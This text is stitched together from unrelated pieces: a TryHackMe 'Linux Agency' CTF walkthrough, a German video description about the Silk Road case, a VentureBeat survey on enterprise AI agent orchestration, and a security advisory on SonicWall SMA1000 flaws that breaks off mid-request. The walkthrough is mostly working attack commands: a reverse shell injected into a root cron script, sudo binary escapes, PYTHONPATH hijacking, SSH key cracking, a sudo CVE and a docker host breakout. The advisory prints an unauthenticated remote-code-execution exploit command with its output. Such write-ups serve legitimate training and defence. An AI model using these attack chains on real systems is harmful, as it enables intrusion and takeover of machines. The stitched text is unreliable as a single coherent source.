🎯 Mission 22 — Restricted Shell Escape (script)

When you log in as mission21, you’re dropped into a restricted shell. Escape using:

script -qc /bin/bash /dev/null

This spawns a full bash shell. Now check .bashrc:

cat ~/.bashrc
# You'll find a Base64-encoded string
echo '<base64_string>' | base64 -d

su mission22
# Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}

💡 What we learned: Restricted shell escape using the script command, which opens a new terminal session. Always check .bashrc and .bash_profile — attackers hide data there, and defenders do too.

🎯 Mission 23 — Python Interpreter Shell Escape

Logging in as mission22 drops you into a Python REPL. Escape to bash:

import pty
pty.spawn("/bin/bash")

Now read the flag:

cat /home/mission22/flag.txt

su mission23
# Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}

💡 What we learned: Python pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!

🎯 Mission 24 — Virtual Host + cURL

# As mission23:
cat /home/mission23/message.txt
cat /etc/hosts
# You'll see mission24.com mapped to 127.0.0.1
curl http://mission24.com -s | grep mission

su mission24
# Password: mission24{dbaeb06591a7fd6230407df3a947b89c}

💡 What we learned: Virtual hosting — the /etc/hosts file acts as a local DNS resolver. In real engagements, always check /etc/hosts for internal hostnames that reveal additional attack surface.

🎯 Mission 25 — Binary Analysis + viminfo

# As mission24:
ls /home/mission24/
file bribe              # Check the file type
./bribe                 # Execute it — it writes to .viminfo
grep mission /home/mission24/.viminfo

su mission25
# Password: mission25{61b93637881c87c71f220033b22a921b}

💡 What we learned: The file command identifies file types regardless of extension. .viminfo is a hidden file storing Vim history — always run ls -la to catch hidden files!

🎯 Mission 26 — PATH Manipulation

Logging in as mission25 gives you a broken environment — commands don’t work because $PATH is corrupted.

echo $PATH
# Empty or wrong PATH

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -lhA
cat flag.txt

su mission26
# Password: mission26{cb6ce977c16c57f509e9f8462a120f00}

💡 What we learned: The $PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.

🎯 Mission 27 — Steganography with strings

# As mission26:
ls /home/mission26/
strings -n 20 /home/mission26/flag.jpg

strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.

su mission27
# Password: mission27{444d29b932124a48e7dddc0595788f4d}

💡 What we learned: Basic steganography — data hidden inside image files. strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.

🎯 Mission 28 — Absurdly Long Filename

# As mission27:
ls /home/mission27/
less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz

Yes, the filename is exactly that long. less handles it fine.

su mission28
# Password: mission28{03556f8ca983ef4dc26d2055aef9770f}

🎯 Mission 29 — Ruby Interpreter + Reverse String

Logging in as mission28 drops you into a Ruby REPL.

Option 1 — Escape to shell:

exec "/bin/bash"

Option 2 — Read the file directly from Ruby:

Dir.chdir("/home/mission28")
puts File.open("txt.galf").readlines

The flag is written in reverse! You’ll see something like:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'

Reverse it:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse

su mission29
# Password: mission29{8192b05d8b12632586e25be74da2fff1}

💡 What we learned: Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename txt.galf — that's flag.txt reversed!

🎯 Mission 30 — Bludit CMS Enumeration

# As mission29:
ls /home/mission29/
grep -rn "mission30" /home/mission29/bludit/

The flag is buried inside Bludit CMS’s file structure.

su mission30
# Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}

🎯 Viktor — Git History

# As mission30:
ls /home/mission30/
cd /home/mission30/Escalator/
git --no-pager log

Browse the git commit history — the flag is hidden in there.

su viktor
# Password: viktor{b52c60124c0f8f85fe647021122b3d9a}

💡 What we learned: git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.

🔓 Task 4: Privilege Escalation

You’re now viktor. The “special targets” phase begins — each user requires a different privilege escalation technique.

🎯 Dalia — Cron Job Exploitation

# As viktor:
cat /etc/crontab

Output:

* * * * * root bash /opt/scripts/47.sh

Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:

cat /opt/scripts/47.sh
ls -la /opt/scripts/47.sh
# You have write access!

Step 1: Create your reverse shell payload:

vim /tmp/eop.sh

Contents:

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1

Step 2: Base64-encode it and overwrite the cron script:

cat /tmp/eop.sh | base64 -w 0
# Copy the output, then:
echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh

Step 3: Set up your listener:

nc -nlvp 9999

Wait up to 60 seconds. The cron job fires and you get a shell as dalia:

# In the received shell:
id
# uid=1000(dalia) ...
cat /home/dalia/flag.txt

Upgrade the shell (important for stability):

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
# Press Ctrl+Z
stty raw -echo; fg

Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}

💡 What we learned: Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate /etc/crontab, /etc/cron.d/, and /var/spool/cron/.

🎯 Silvio — sudo + zip (GTFOBins)

# As dalia:
sudo -l
# (dalia) NOPASSWD: /usr/bin/zip as silvio

From GTFOBins — zip sudo escape:

TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'

id
# uid=... (silvio)
cat /home/silvio/flag.txt

Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}

💡 What we learned: GTFOBins — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see sudo -l, immediately cross-reference every allowed binary against GTFOBins.

🎯 Reza — sudo + git (GTFOBins)

# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as reza

GTFOBins git sudo escape (uses PAGER environment variable):

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help

id
# uid=... (reza)
cat /home/reza/flag.txt

Flag: reza{2f1901644eda75306f3142d837b80d3e}

💡 What we learned: Git’s --paginate (-p) feature invokes a pager, and by hijacking the PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.

🎯 Jordan — PYTHONPATH Hijacking

# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan

Run the script:

sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'

The script imports a module called shop which doesn't exist. We can create it in a directory we control:

Step 1: Create a malicious shop module:

mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.py

Step 2: Override PYTHONPATH so Python finds our module first:

sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py

id
# uid=... (jordan)
cat /home/jordan/flag.txt

Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}

💡 What we learned: Python module hijacking — a real-world PrivEsc technique. PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.

🎯 Ken — sudo + less (GTFOBins)

# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as ken

sudo -u ken /usr/bin/less /etc/profile

Once less opens, type ! followed by:

!/bin/sh

Press Enter — you drop into a shell as ken.

id
cat /home/ken/flag.txt

Flag: ken{4115bf456d1aaf012ed4550c418ba99f}

🎯 Sean — sudo + vim (GTFOBins)

# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as sean

sudo -u sean vim -c ':!/bin/sh'

The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.

id
cat /home/sean/flag.txt

Flag: sean{4c5685f4db7966a43cf8e95859801281}

💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting sudo vim to any user is effectively granting root.

🎯 Penelope — Password Hidden in Base64

# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"

su penelope
# Password: p3nelope
cat /home/penelope/flag.txt

Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}

🎯 Maya — SUID base64 (GTFOBins)

# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!

GTFOBins SUID base64 exploit — read files as the binary’s owner:

LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -d

Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}

💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.

🎯 Robert — SSH Private Key Cracking

# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub found

Step 1: Copy the private key to your local machine (new terminal tab):

scp maya@<IP>:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robert

Step 2: Convert the key to a crackable hash:

ssh2john id_rsa_robert > robert_ssh_hash.txt

Step 3: Crack it with John the Ripper:

john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result: industryweapon

Step 4: Find Robert’s SSH port on the target:

# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listening

Step 5: Connect:

ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txt

Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}

💡 What we learned: SSH private key cracking — ssh2john extracts the hash, john cracks it. In real engagements, always look for id_rsa files in home directories, backup folders, and .ssh/ directories. Encrypted keys with weak passphrases are a common finding.

👑 Root — Two-Stage Escalation

Stage 1: CVE-2019–14287 (Sudo User ID Bypass)

# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!

How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.

cd /root
ls

Stage 2: Docker Group → Root (root.txt)

# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image exists

Mount the host filesystem into a container and chroot into it:

./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh

id
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txt

Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}

💡 What we learned: Docker group membership is equivalent to root access. -v /:/mnt mounts the entire host filesystem into the container, and chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the docker group.

🏆 Flags Summary

User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout

🧠 Key Takeaways

Linux Fundamentals:

• ls -la always — hidden files, permissions at a glance
• find and grep -r for wide enumeration
• env for environment variable inspection
• file to identify file types regardless of extension
• strings to extract readable data from binaries

Encoding & Decoding:

• Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)
• Reversed strings — check file content and filenames alike

Scripting Languages:

• Python: pty.spawn("/bin/bash") for shell upgrade
• Ruby: exec "/bin/bash" or Dir/File for file ops
• Java: javac → java, C: gcc → ./binary

Privilege Escalation Checklist:

1. sudo -l → GTFOBins
2. find / -perm -4000 2>/dev/null → SUID binaries → GTFOBins
3. cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root
4. id → check group memberships (docker!)
5. Check $PATH, env variables, writable directories in PATH

📚 Resources

• 🔗 GTFOBins — sudo/SUID binary exploitation reference
• 🔗 PayloadsAllTheThings — Reverse Shell Cheatsheet
• 🔗 Exploit-DB: CVE-2019–14287
• 🔗 TryHackMe: Sudo Security Bypass
• 🔗 HackTricks: Docker Breakout
• 🔗 RapidTables Converter

💬 Final Thoughts

Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.

If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.

Happy Hacking! 🐧

Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

TryHackMe — Linux Agency | Complete Write-Up & Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

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Die Jagd auf den „Dread Pirate Roberts“, tausende gestohlene Bitcoin und ein Sündenbock, der fast die ganze Schuld getragen hätte. Das ist die Geschichte der Ermittler hinter dem Silk Road-Fall.

Ein besonderer Dank geht an Nick Bilton und sein Buch „American Kingpin: The Epic Hunt for the Criminal Mastermind Behind the Silk Road“.


Checkt Unfassbar ab: @unfassbar
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Quellen:
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Musik:
Epidemic Sound:
Behind the Shadow - Ruiqi Zhao
Kansas - Christian Andersen
Long Way Home - Aiyo
Temporarily Virtual - Cobby Costa
Voigt-Kampff - Martin Baekkevold
Beacons - Cobby Costa
The Sky Is Closing In - Cobby Costa
Detour Switch - Cobby Costa
Red Alert - Lennon Hutton
Strange Interference - Cobby Costa
The Shadow - Christoffer Moe Ditlevsen
Impasse - Silver Maple
Now That's an Alarm! - Harry Edvino
Riot in the Capital - Bonnie Grace
The Mutants - Farrell Wooten
Knee Deep - Blue Saga
Suspiral - Anthony Earls
Ghostly - Tigerblood Jewel
Parallel Existence - Raymond Grouse
Tracker - Christoffer Moe Ditlevsen
Slow Discovery - Cobby Costa

Artlist:
Oliver Michael - Witness - Extended version
Sebastian Borromeo - See Through the Crack
Morphlexis - Submarine
IamDayLight - Hypnotize
Artlist Musical Logos - Tensive Logo 1
Or Chausha - Are You Still Alive - No Strings
Ian Post - Mayhem
Isaac DaBom - Keep Your Eyes Open
Risian - Mission Critical
Or Chausha - No Decides
Stanley Gurvich - Transmission
Oran Alaloof - Dark Apoko

Lens Distortions:
Riptide - No Pulse
Tempered
Why Be Normal - No High Percussion
Force Multiplier - No High Percussion



_____

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This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 6: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 7: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 8: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

• 12.4.3-03245

• 12.4.3-03387

• 12.4.3-03434 (platform-hotfix)

• 12.5.0-02283

• 12.5.0-02624

• 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
